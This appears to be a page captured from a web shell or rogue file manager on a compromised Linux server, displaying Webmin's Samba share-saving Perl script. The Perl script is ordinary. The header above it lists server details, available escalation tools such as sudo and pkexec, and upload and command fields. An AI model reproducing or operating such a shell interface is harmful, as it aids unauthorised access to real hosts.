Private
Server IP : 195.201.23.43  /  Your IP : 3.137.214.24
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/samba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/samba/save_fshare.cgi
#!/usr/bin/perl
# save_fshare.cgi
# Save a new or edited file share

require './samba-lib.pl';
&ReadParse();
&lock_file($config{'smb_conf'});
&get_share($in{'old_name'}) if $in{'old_name'};

if ($in{'view'}) {
	# Redirect to view connections page
	&redirect("view_users.cgi?share=".&urlize($in{'share'}));
	exit;
	}
elsif ($in{'delete'}) {
	# Redirect to delete form
	&redirect("delete_share.cgi?share=".&urlize($in{'share'}).
		  "&type=fshare");
	exit;
	}

# check acls

&error_setup("$text{'eacl_aviol'}ask_epass.cgi");
if ($in{'old_name'}) {
    &error("$text{'eacl_np'} $text{'eacl_pus'}") 
		unless &can('rw', \%access, $in{'old_name'});
	}
else {
    &error("$text{'eacl_np'} $text{'eacl_pcrs'}") unless $access{'c_fs'};
	}

&error_setup($text{'savefshare_fail'});
# store share options
if ($in{'old_name'} eq "global") {
	$name = "global";
	}
else {
	$name = $in{"homes"} ? "homes" : $in{"share"};
	if ($in{"path"} !~ /\S/ && !$in{"homes"}) {
		&error($text{'savefshare_nopath'});
		}
	}
&setval("path", $in{"path"});
&setval("available", $in{"available"});
&setval("browseable", $in{"browseable"});
&setval("comment", $in{"comment"});

# Check for clash
if ($name ne "global") {
	foreach (&list_shares()) {
		$exists{$_}++;
		}
	if (!$in{'old_name'} && $exists{$name}) {
		&error(&text('savefshare_exist', $name));
		}
	elsif ($in{'old_name'} ne $name && $exists{$name}) {
		&error(&text('savefshare_exist', $name));
		}
	elsif (&decode_unicode_string($name) !~ /^[\p{L}\p{N}_\$\-\.\s]+$/) {
		&error(&text('savefshare_mode', $name));
		}
	elsif ($name eq "global") {   # unreachable code ? EB
		&error($text{'savefshare_global'});
		}
	}

# Check creator
if ($in{'create'} eq "yes") {
	defined(getpwnam($in{'createowner'})) ||
		&error($text{'savefshare_owner'});
	defined(getgrnam($in{'creategroup'})) ||
		&error($text{'savefshare_group'});
	$in{'createperms'} =~ /^[0-7]{3,4}$/ ||
		&error($text{'savefshare_perms'});
	}

# Update config file
if ($in{'old_name'}) {
	# Changing an existing share
	&modify_share($in{'old_name'}, $name);
	if ($name ne $in{'old_name'}) {
		local $oldacl=$access{'ACLfs_' . $in{'old_name'}};
		&drop_samba_acl(\%access, $in{'old_name'});
		&save_samba_acl($oldacl, \%access, $name);
		}
	}
else {
	# Creating a new share
	&create_share($name);
	if ($in{'create'} eq "yes" && !-d $in{'path'}) {
		&make_dir($in{'path'}, oct($in{'createperms'})) ||
			&error(&text('savefshare_emkdir', $!));
		&set_ownership_permissions($in{'createowner'},
					   $in{'creategroup'},
					   oct($in{'createperms'}),
					   $in{'path'});
		}
	&save_samba_acl('rwvVsSpPnNoO', \%access, $name);
	}
&unlock_file($config{'smb_conf'});
&webmin_log($in{'old_name'} ? "save" : "create", "fshare", $name, \%in);
&redirect("");
Private